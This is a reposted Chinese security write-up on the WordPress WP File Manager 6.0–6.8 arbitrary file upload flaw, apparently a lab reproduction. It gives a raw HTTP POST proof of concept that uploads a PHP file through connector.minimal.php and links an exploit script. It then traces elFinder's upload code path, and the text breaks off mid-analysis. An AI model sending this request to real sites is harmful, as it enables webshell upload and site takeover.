【转载】WordPress插件File-Manager任意文件上传复现

转载3个月前发布 SanS三石
20 0 0
上方蓝色字体关注我们,一起学安全!
作者:daxi0ng&水木逸轩@Timeline Sec
本文字数:3591
阅读时长:10~12min
声明:请勿用作违法用途,否则后果自负

0x01 简介

WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把WordPress当作一个内容管理系统(CMS)来使用。

文件管理器允许您直接从WordPress后端编辑,删除,上载,下载,压缩,复制和粘贴文件和文件夹。不必费心使用FTP来管理文件和从一个位置移动文件。有史以来功能最强大,最灵活,最简单的WordPress文件管理解决方案!


【转载】WordPress插件File-Manager任意文件上传复现

0x02 漏洞概述

安全人员进行调查时,很快发现WordPress插件WPFileManager中存在一个严重的0day安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程执行代码。

攻击者可能会做任何他们选择采取的行动–窃取私人数据,破坏站点或使用该网站对其他站点或基础结构进行进一步的攻击。

0x03 影响版本

File Manager 6.0-6.8

0x04 环境搭建

WordPress5.4.1下载地址

https://cn.wordpress.org/wordpress-5.4.1-zh_CN.tar.gz


wp-file-manager6.0下载地址:

公众号内回复“wordpress插件”


用phpstudy搭建WordPress,安装插件

【转载】WordPress插件File-Manager任意文件上传复现

0x05 漏洞复现

POC:

POST /wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

Content-Type: multipart/form-data; boundary=—————————402078532114344024151352374707

Content-Length: 465

Origin: http://127.0.0.1

Connection: close

Cookie: PHPSESSID=184sec57d1sltqv23haagn3574;

 

—————————–402078532114344024151352374707

Content-Disposition: form-data; name=”upload[0]”; filename=”1.php”

Content-Type: image/jpeg

 

 

123213123

—————————–402078532114344024151352374707

Content-Disposition: form-data; name=”cmd”

 

upload

—————————–402078532114344024151352374707

Content-Disposition: form-data; name=”target”

 

l1_Lw==

—————————–402078532114344024151352374707–


【转载】WordPress插件File-Manager任意文件上传复现


访问
/wordpress/wp-content/plugins/wp-file-manager/lib/files/1.php

【转载】WordPress插件File-Manager任意文件上传复现

EXP脚本:

https://github.com/xDro1d/wp-file-manager

【转载】WordPress插件File-Manager任意文件上传复现


0x06 漏洞分析

修改数据包中target的值,发送POC出现错误,返回以下情况:

【转载】WordPress插件File-Manager任意文件上传复现

【转载】WordPress插件File-Manager任意文件上传复现


对比这三个POC,唯一的不同之处在于一个target之后是”l1_Lw==”,一个之后是”11_Lw==”,还有一个之后是”t1_Lw==”那么问题究竟出在了哪里?

首先数据包最早由connector.minimal.php接收,接收到数据包中的各个参数,这里走了一些弯路,但还是应该写出来

【转载】WordPress插件File-Manager任意文件上传复现


之后connector.minimal.php文件开始执行,首先判断“./vendor/autoload.php”是否可读,如果可读包含“./autoload.php”,执行autoload.php文件

【转载】WordPress插件File-Manager任意文件上传复现


看下autoload.php文件的代码,首先给“ELFINDER_PHP_ROOT_PATH”赋值为当前文件绝对地址

【转载】WordPress插件File-Manager任意文件上传复现

【转载】WordPress插件File-Manager任意文件上传复现


接着执行autoload.php文件最后的if判断

【转载】WordPress插件File-Manager任意文件上传复现


判断php的版本,如果版本再5.3之上,那么执行,补充知识点:

spl_autoload_register 是一个实现自动加载类的函数,自动加载类就是我们在new一个class的时候,不需要手动去写require来导入这个class.php文件,程序自动帮我们加载导入进来,而传入spl_autoload_register加载类函数的参数为将要new的类名

此时返回connector.minimal.php,elFinder

【转载】WordPress插件File-Manager任意文件上传复现


静态引用类将elFinder的$netDrivers数组初始化,将’FTP’赋值给’ftp’,接着往下执行

【转载】WordPress插件File-Manager任意文件上传复现


elFinder未被引入到当前文件,那么开始执行autoload.php的elFinderAutoloader方法,因为要实例化elFinder类,所以传入elFinderAutoloader的值为elFinder

【转载】WordPress插件File-Manager任意文件上传复现


接着走,$map自不用去看,都是人家写好的

【转载】WordPress插件File-Manager任意文件上传复现


首先$name,在数组$map中是存在的,那么include_once这个name所对应的类名,这里是elFinder,然后是newelFinder,自然是要先执行它的构造函数,给该对象的构造函数传入的参数为connector.minimal.php的$opts数组

【转载】WordPress插件File-Manager任意文件上传复现

【转载】WordPress插件File-Manager任意文件上传复现

接着看elFinder的构造函数

【转载】WordPress插件File-Manager任意文件上传复现

【转载】WordPress插件File-Manager任意文件上传复现

现将默认的编码集设置为UTF-8,然后定义服务器命令接收的各种常量

【转载】WordPress插件File-Manager任意文件上传复现

此处省略位运算,只需要知道最后$errLevel的值为32266就行,接着给全局变量加入数组键“elFinderTempFps”,“elFinderTempFiles”,值都为空数组

【转载】WordPress插件File-Manager任意文件上传复现

【转载】WordPress插件File-Manager任意文件上传复现

接着$_SERVER[‘PATH_INFO’]为空,直接将这个对象的引用给了elFinder类的$instance变量

【转载】WordPress插件File-Manager任意文件上传复现

接着debug经过$opt中的值判断为false,检测”elFinderSessionInterface”接口是否已经被定义,如果定义,将这个php文件包含到文件中

【转载】WordPress插件File-Manager任意文件上传复现

将这个文件包含到文件中之后判断$opts的数组中session是否存在,然而$opts数组中并没有session键

【转载】WordPress插件File-Manager任意文件上传复现


执行else,else给$sessionOpts进行赋值,接着判断elFinderSession是否被引入,如果没有将它包含进来,然后初始化一个elFinderSession对象,elFinder对象的session引用这个对象

既然newelFinderSession那就要执行它的构造方法

【转载】WordPress插件File-Manager任意文件上传复现


看下此时$opts参数的值:

【转载】WordPress插件File-Manager任意文件上传复现


接着$this->session->start()方法执行

【转载】WordPress插件File-Manager任意文件上传复现

【转载】WordPress插件File-Manager任意文件上传复现

【转载】WordPress插件File-Manager任意文件上传复现

start方法用于设置自定义错误处理函数,之后进入下一个if判断语句

【转载】WordPress插件File-Manager任意文件上传复现

$fixCookieRegist的值为false,之后PHP_VERSION使用的是5.4以上版本

关于session_status的解释:

PHP_SESSION_DISABLED 会话是被禁用的

PHP_SESSION_NONE 会话是启用的,但不存在当前会话

PHP_SESSION_ACTIVE 会话是启用的,而且存在当前会话

看这代码的意思就是开启一个新的会话,给定Session ID值

【转载】WordPress插件File-Manager任意文件上传复现

if还没完了,挨个看吧

给$sessionUseCmds赋值,判断$opts[‘sessionUseCmds’]是否存在,是否是数组,如果满足,将两个数组合并为一个数组。

之后直接跳过判断HTTP_X_ELFINDER_VOLUMESCNTSTART的if语句,因为不存在。

【转载】WordPress插件File-Manager任意文件上传复现

【转载】WordPress插件File-Manager任意文件上传复现

执行utime方法,返回值给了time变量,剩下的一大堆也说不了,如果用了就用的时候说,于是重新捋思路,直接从elFinderConnector构造方法完毕之后的run方法开始(我才知道为什么之前分析的大哥不直接跟进elFinder的初始化,因为东西真的太多了)

【转载】WordPress插件File-Manager任意文件上传复现

跟进run

【转载】WordPress插件File-Manager任意文件上传复现

首先判断是否是POST方法传入数据,接着合并数组至$src

【转载】WordPress插件File-Manager任意文件上传复现

$maxInuptVars = null,而$src本身存在,所以直接跳过大段的if语句,直接到

【转载】WordPress插件File-Manager任意文件上传复现

给全局变量赋值这里,$_REQUEST的值变为

【转载】WordPress插件File-Manager任意文件上传复现

【转载】WordPress插件File-Manager任意文件上传复现

接着直接看第一个if语句,不会执行,因为$src没有targets参数

第二个if语句判断json_encode方法是否可用,在之后看flFinder->loaded方法,这里返回true,又跳出这个if语句

【转载】WordPress插件File-Manager任意文件上传复现

$cmd肯定存在值,$ifPost为true,所以不执行该if语句中的内容

【转载】WordPress插件File-Manager任意文件上传复现


此处的$cmd为upload

【转载】WordPress插件File-Manager任意文件上传复现

【转载】WordPress插件File-Manager任意文件上传复现


此处判断elFinder类中是否有upload方法,结果是有的

【转载】WordPress插件File-Manager任意文件上传复现


所以if语句又不会执行,看之后的foreach

【转载】WordPress插件File-Manager任意文件上传复现


首先commandArgsList方法跟进

【转载】WordPress插件File-Manager任意文件上传复现


这里着重看下commands数组中upload元素的内容,由$list引用

【转载】WordPress插件File-Manager任意文件上传复现

upload => array(target => true, FILES => true, mimes => false, html => false, upload => false, name => false, upload_path => false, chunk => false, cid => false, node => false, renames => false, hashes => false, suffix => false, mtime => false, overwrite => false, contentSaveId => false)

也是个数组,在之后将$list的reqid元素设置为false,然后返回$list

$list第一键值肯定不是FILES,所以跳过第一个if语句,而第一个target又存在于$src数组中

【转载】WordPress插件File-Manager任意文件上传复现

将target的值给了$arg,再移除$arg的空白字符和其他预定义字符

【转载】WordPress插件File-Manager任意文件上传复现

之后将$arg放入$args的数组中,键名为target,然后第二次foreach循环开始

第二个$list的元素肯定是FILES了,且FILES=true,于是执行第一个if语句

【转载】WordPress插件File-Manager任意文件上传复现

$hasFiles=true

这两个循环之后就没有什么可说的了,将每个$list的元素写入到$args中,只是值为false的变成了‘’

【转载】WordPress插件File-Manager任意文件上传复现

$args中debug元素是存在的,所以debug元素的值被设置为false

然后看elFinderConnector的input_filter方法

【转载】WordPress插件File-Manager任意文件上传复现

因为这里的php版本大于5.4所以$magic_quotes_gpc的值为false,$args肯定是数组,然后使用这个if语句之后对每个元素进行字符过滤

【转载】WordPress插件File-Manager任意文件上传复现

再之后对将上传文件的信息给了$args数组中的FILES元素,接着执行elFinder对象的exec函数

【转载】WordPress插件File-Manager任意文件上传复现

在exec函数中判断完session以及是否可以进行上传操作之后开始判断

【转载】WordPress插件File-Manager任意文件上传复现

【转载】WordPress插件File-Manager任意文件上传复现

将$args中target元素的值给了$dst,将$dst作为参数

© 版权声明

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...